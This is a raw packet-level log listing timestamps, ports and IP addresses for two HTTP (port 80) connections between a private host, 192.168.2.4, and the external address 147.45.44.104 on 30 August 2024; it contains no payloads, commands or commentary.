Aug 30, 2024 06:17:03.733401060 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:03.733422995 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:03.733449936 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.733458996 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.733468056 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.733478069 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.733486891 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:03.733511925 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:03.733526945 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:03.734124899 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.734152079 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.734162092 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.734165907 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:03.734185934 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:03.734200001 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:03.734222889 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.734232903 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.734241009 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.734251976 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.734260082 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:03.734277010 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:03.734287977 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:03.734350920 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.734360933 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.734371901 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.734385967 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.734390020 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:03.734419107 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:03.734860897 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:03.740034103 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.917145014 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.917171001 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.917184114 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.917227030 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.917238951 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.917251110 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.917264938 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.917325020 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:03.917325020 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:03.917325020 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:03.917325020 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:03.917325020 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:03.917377949 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.917390108 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.917399883 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.917412996 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.917418957 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:03.917426109 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.917434931 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:03.917437077 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.917448997 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.917459965 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.917463064 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:03.917470932 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.917480946 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:03.917495012 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:03.917521000 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:03.917540073 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.917551041 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.917573929 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:03.917687893 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.917697906 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.917707920 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.917728901 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:03.917746067 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:03.917774916 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.917787075 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.917797089 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.917808056 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.917813063 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:03.917829990 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:03.917859077 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:03.917872906 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.917890072 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.917901993 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.917912006 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.917912960 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:03.917920113 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:03.917922974 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.917933941 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.917946100 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.917948961 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:03.917972088 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:03.917989969 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:03.918256044 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.918298960 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:03.918304920 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.918314934 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.918339968 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:03.918354988 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:03.918382883 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.918395042 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.918404102 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.918415070 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.918425083 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:03.918454885 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:03.918585062 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.918596029 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.918605089 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.918617010 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.918628931 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.918632984 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:03.918639898 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.918646097 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:03.918653011 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.918663025 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.918674946 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.918678999 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:03.918699026 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.918704987 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:03.918710947 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.918750048 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:03.919264078 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.919275999 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.919286013 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.919310093 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:03.919327974 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:03.919388056 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.919399023 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.919409990 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.919421911 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.919426918 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:03.919434071 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.919440031 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:03.919451952 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.919461966 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:03.919461966 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.919487953 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:03.919497013 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:03.919560909 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.919573069 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.919583082 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.919595957 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.919606924 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:03.919625044 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:03.919636011 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.919646978 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.919648886 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:03.919656992 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.919667006 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.919678926 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:03.919696093 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:03.920197010 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.920207977 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.920218945 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.920242071 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:03.920260906 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:03.920285940 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.920295954 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.920300961 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.920332909 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:03.920406103 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.920416117 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.920425892 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.920435905 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.920445919 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.920449018 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:03.920449018 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:03.920459032 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.920490980 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:03.920532942 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:03.920634031 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.920644045 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.920654058 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.920664072 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.920675039 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.920679092 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:03.920685053 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.920694113 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:03.920711994 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:03.922126055 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.922169924 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:03.922185898 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.922194958 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.922204971 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.922228098 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:03.922260046 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.922262907 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:03.922270060 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.922281027 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.922291040 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.922292948 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:03.922312975 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:03.922322035 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:03.922363997 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.922374964 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.922384024 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.922394037 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.922405005 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.922406912 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:03.922434092 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:03.922454119 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.922463894 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.922465086 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:03.922473907 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.922487974 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:03.922507048 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:03.922914028 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.922924995 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.922940016 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.922950029 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.922950983 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:03.922960997 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.922975063 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:03.923006058 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:03.923151970 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.923161030 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.923171043 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.923180103 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.923187971 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:03.923207998 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:03.927966118 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.927997112 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.928006887 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.928029060 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:03.928040981 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:03.928064108 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.928075075 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.928083897 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.928095102 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.928105116 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:03.928126097 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:03.928155899 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:03.928287029 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.928298950 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.928308964 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.928325891 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:03.928333998 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.928345919 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.928349972 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:03.928355932 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.928379059 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:03.928402901 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:03.928543091 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.928580999 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:03.928582907 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.928592920 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.928632975 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:03.928632975 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:03.928646088 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.928657055 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.928667068 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.928678989 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.928693056 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:03.928698063 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.928710938 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:03.928734064 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:03.929009914 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.929019928 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.929029942 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.929053068 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:03.929066896 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.929066896 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:03.929076910 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.929085970 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.929096937 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.929104090 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:03.929131031 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:03.929172039 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.929183006 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.929219961 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:03.929244995 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:03.929397106 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.929450035 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:03.929461002 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.929471970 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.929502010 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:03.929546118 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.929555893 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.929565907 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.929575920 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.929594040 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:03.929608107 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:03.929723024 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.929734945 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.929744005 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.929754019 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.929764986 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.929770947 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:03.929775953 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.929785967 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.929795980 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.929796934 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:03.929805040 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:03.929807901 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.929830074 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.929836988 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:03.929860115 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.929863930 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:03.929900885 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:03.930434942 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.930444956 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.930454969 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.930483103 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:03.930488110 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.930497885 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.930506945 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.930506945 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:03.930517912 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.930535078 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:03.930561066 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:03.930697918 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.930708885 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.930717945 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.930727959 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.930737972 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.930742979 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:03.930751085 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.930761099 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.930763006 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:03.930772066 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.930774927 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:03.930782080 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.930811882 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:03.930826902 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.930829048 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:03.930838108 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.930867910 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:03.930886984 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:03.931310892 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.931360960 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:03.931372881 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.931384087 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.931416988 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:03.931431055 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.931441069 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.931449890 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.931459904 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.931483984 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:03.931493998 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:03.931520939 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:03.931622982 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.931633949 CEST	80	49735	147.45.44.104	192.168.2.4
